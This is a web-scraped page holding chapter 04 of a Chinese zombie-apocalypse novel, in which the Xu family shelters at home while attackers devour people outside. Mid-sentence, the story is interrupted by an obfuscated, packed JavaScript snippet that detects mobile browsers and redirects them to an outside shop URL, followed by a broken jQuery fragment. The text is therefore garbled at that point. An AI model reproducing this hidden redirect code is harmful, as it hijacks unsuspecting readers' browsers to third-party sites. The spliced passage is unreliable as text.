04
徐椿注意到了徐岁杪的异样,她连忙问道:“是头和身上还在疼吗?”
徐岁杪急促而焦灼的呼吸微滞,她很自然地垂落双手,摇了摇头,“没,已经不疼了。”
“那就好。”徐椿轻声安慰她,也是安慰自己,“也别怕,没事了,我们安全了。咱们市附近就有驻防武警,他们肯定已经在组织救援了。”
徐椿说着,已经完全冷静了下来,“我上楼去拿一下手机,上网查一下看有没有什么消息。”
走出仓库,徐椿刻意绕道后院,伸手把失魂落魄的徐夏生拽了起来,拉着她一起进屋了。
中途,徐椿扭头扫了眼一直不见丝毫异样的刘晓英,觉得大概率是不用担心了。也对,毕竟现实又不是影视剧。
徐岁杪垂着头,怔怔地有些失神。
她端详着自己的右手,那里似乎还残留着将长镊子刺穿袭击者眼球的触感,悄然激起了一股隐秘的颤栗。
“……好,好,你看好自己的手机,一定要保存好电量,嗯,别怕,你等着妈,没事,听话啊,先挂了。”刘晓英心急火燎地挂断了电话。
就像是闻不到后院里的异味一样,刘晓英深呼吸,她注视着徐椿进屋的背影,嘴唇翕动片刻,还是没能出声喊住徐椿。
徐家现在能顶事的就只有徐椿了。真是风水轮流转,谁能料到还会有想求她帮忙的一天呢?
按理来说,她儿子徐天赐是徐家唯一的男孙、命根子,就冲这一点,徐椿也该跟她一起去接人。
刘晓英不免回想起过往,她自问算不上是多坏的后妈,即便她对前头女人留下来的俩继女的照顾不算上心,甩过脸子,却也从未虐待过她们。
但家里的老太太要教训摆弄自己的孙女,就不是她能过问、管得了的事了。
刘晓英觉得她能护住自己的一对亲生女儿,不被打坏了就已经很不容易了,且顾不上她们。
再说了,谁家孩子不挨打?想要教出规矩的乖孩子、好孩子,不打不骂怎么行?徐家是打得厉害了些,但徐椿也太记仇了,还报警,闹去了几回派出所,就不是个孝顺的,老太太才待她不宽厚。
等徐椿长大了,上高中的花费也不知道她是怎么凑的,到了大学,家里更是没管过。具体的情况,因为刘晓英从前并不关心,所以也不知道详情。
徐家的日子其实很好过,不缺多养孩子的钱,老太太就是不想供而已。
这么一算下来,刘晓英发现她还真就没对徐椿有过施恩的时候,到了现在要求人了,她才知道不好开口的感觉是有多难受了。
事到如今,一家子都处了这么些年了,结果好了,情分、情分谈不上,情面、情面更是没有,愈发处得比普通亲戚还不如了。
都是老太太先作妖祸害人的错。
刘晓英恨恨地想着,下意识地往前追了几步,才又停了下来。
再等等,等救援来了,等徐椿没理由拒绝的时候,再跟她开口提去接人的事情。
到时候,人情也不用欠太大。
对国家的应急救援能力深信不疑,刘晓英在确定了徐天赐现在很安全后,就勉强稳住了。
徐椿拉着徐夏生进屋上楼了。
刘晓英收回视线,低头操作着手机,先是试探拨打了报警电话,无人接听,跟着她又打给了丈夫徐耀龙,脚步也无意识地在后院里转起了圈。
徐耀龙的电话打通了,却没有人接。
刘晓英又急得红眼了,她死盯着手机看,慢慢又哽咽了起来。
“哕、咳呃……”
徐秋生像是终于把胃里的东西都吐干净了,也歇了哭,她虚弱地抵着墙站直了,一副魂魄出窍的模样。外头恐怖的惨叫哀嚎渐渐萎弱了下去。徐秋生定了定神,眼底满是惧意地睃过刘晓英的手臂,“妈,你先去上点药吧,伤口感染了怎么办?”
“你知道什么!”刘晓英一边继续不停地拨打着徐耀龙的电话,一边拖着哭腔,朝她发火,“刚出这么大的事故,我联系不上你爸,还有心思管伤上药?你以为谁都跟你们一样,就知道顾着自己!我要真感染了,就如了你们的意了是吧?这么急着咒我!你们就巴不得我也跟着出事!一个两个的,都站在那里跟个柱子似的,就看着我给你爸打电话,你问都不问一声你爸,你们是一点不急,丧良心的,白养你们这么大了!”
“爸经常一年半载的不着家,联系不上不是很正常吗?又不是我惯着爸老是跑去省城找朋友鬼混的,现在突然出事了,找不到他人,怪得到我吗?”徐秋生悄声回嘴,只觉憋闷又委屈,她妈怎么不说也没有人来关心她一句呢?
徐秋生目光又在刘晓英的手臂上顿了一息,她妈肯定是没看过丧尸片,要不然,哪儿还能来的闲功夫去操心她爸。
刘晓英还在自顾自地埋怨,“你们奶奶才死了,要是你爸也出事了,咱们家要怎么过?!都什么时候了,一点不想事,我还能指望你们什么?什么都指望不上!我养你们有什么用?但凡你们有一个能想起给爸爸、弟弟打个电话,我都不说什么了,是我造孽,就没见过像你们这样不在乎家里人的……”
再是不合时宜,一唠叨上了,刘晓英就停不下来。
徐秋生习以为常,往常这时候,她会找点儿轻省的活计做,或是去写作业,以显得自己很忙,继而理由正当地不搭理刘晓英。
挨着墙根走到水池边,徐秋生先掬了水漱口,再接满水桶,泼向地上的秽物,接连冲了几遍,“妈,我也是担心你好吧。”大概是惊骇的情绪还未彻底平复,心绪难安,她难得细声细气地劝说道:“现在奶奶死了,爸爸要是也出事了,咱们家里的房子、生意就都要靠你当家做主了,弟弟也还在等着你——”
徐秋生忽然顿住,一抿唇,默不吭声了。
手机里又响起了忙音,刘晓英沉默了,半晌,她抬手抹了把眼泪,“你说的对,你弟弟还在等着我呢。”
徐秋生神色讪讪地偷瞄向刘晓英,不太确定自己那点儿隐晦的精明算计,是不是露了痕迹?她暗怪自己神经、有病,十分懊丧刚才的不谨慎,她太沉不住气了,就不该多嘴!
反正等救援来了就能知道结果了。徐秋生低下头,眼底压抑着恶意,她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14143731|150216||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
爸那边的情况不好猜,至于弟弟徐天赐,他再倒霉,都是他活该,自找的。徐秋生唇边露出了扭曲的、幸灾乐祸的微笑。
蓦地,院子里安静了下来,衬得外面渐淡的动静更恐怖瘆人了。
嘭!
嘭!嘭!嘭!
嘭!嘭!嘭!嘭!嘭……
始料不及地,急而重的撞门声密集地响起。
徐秋生惊得浑身一颤,随之尖叫起来,“啊啊啊——徐冬生!大姐!”
“怎么回事?谁啊?怎么回事!”刘晓英也惊恐地大喊,但很快,她就发现暂且不需要太过紧张,因为家里前后进出的两道门都被堵得足够严实,除非是开快车冲撞,否则不管在外面撞门的是人是鬼,一时半会的,都进不来。
似一经高音人声的刺激,撞门声愈发激烈了。
同样受到惊吓的徐岁杪回过神,她条件反射地朝后门看了一眼,旋即丢下一句,“闭嘴安静进屋锁门!”就飞也似的跑进了屋里。
徐岁杪跑向楼顶。
许是太过心急了,她没能注意到自己只是轻轻一跃步,就稳稳踏上了楼梯转折处,并以非同寻常的速度来到了楼顶天台。
徐岁杪轻巧地绕过安装在楼顶的太阳能光伏发电板,她双手撑着护栏墙,探身四处眺望。
“唔……”
不料下一秒,她就蹲身半跪在了地上,脑袋重重地抵着墙面,抓撑在护栏墙上的双手收紧,骨节泛白。
外面的受袭者都被吃掉了。
只剩下了,随地可见的瘫软破碎的肢体残渣,和被丢弃的小部分器官。以及零星瘦小的袭击者还在捡残羹剩饭吃。浓郁的血腥气在空气中弥散。
胜似地狱。
而围攻徐家撞门的袭击者,似乎是在将外面的受袭者吃完后犹未饱腹,于是主动搜寻起了新猎物。
引来袭击者撞门的是声响?还是人味儿?
徐岁杪不太确定,她来不及思考。
领先最高码率不知道多少倍的超高清视界,给了还没长记性的徐岁杪又一暴击。极其恐怖、恶心、惨烈的景象,连同滞后才浮想起的先前血腥的所见一起,刺激得徐岁杪胸膛不停起伏,喘息深涩,眼前一片泪雾,额角和颈边暴起了的青筋,她垂眸凝视着墙缝一隙,竭力忍耐着超出极限阈值的感官冲击。
徐岁杪低声数着自己沉闷的心跳声。
嗡飒——
良久,一声拖得很长的异响划破天空。
徐岁杪循声迅速抬头,站起身,就见高空中,一架客机斜斜地滑坠向了远处。
轰的一声,客机坠毁。受前方高层建筑遮挡了视野的影响,徐岁杪只看得到伴随着爆炸所掀起的砖砾沙尘、火光,和滚滚浓烟。
同时,客机坠撞爆炸的冲击也波及到了翠岭,她明显感觉到了脚下的楼房轻微震动了一下。
无数袭击者向着坠机地点,奔跑了起来。
以逊于普通人一半的速度。
一时,徐家的危境解决了。
身处楼顶的徐岁杪感受了一下风向,不由紧张了起来,她连忙又跑下了楼。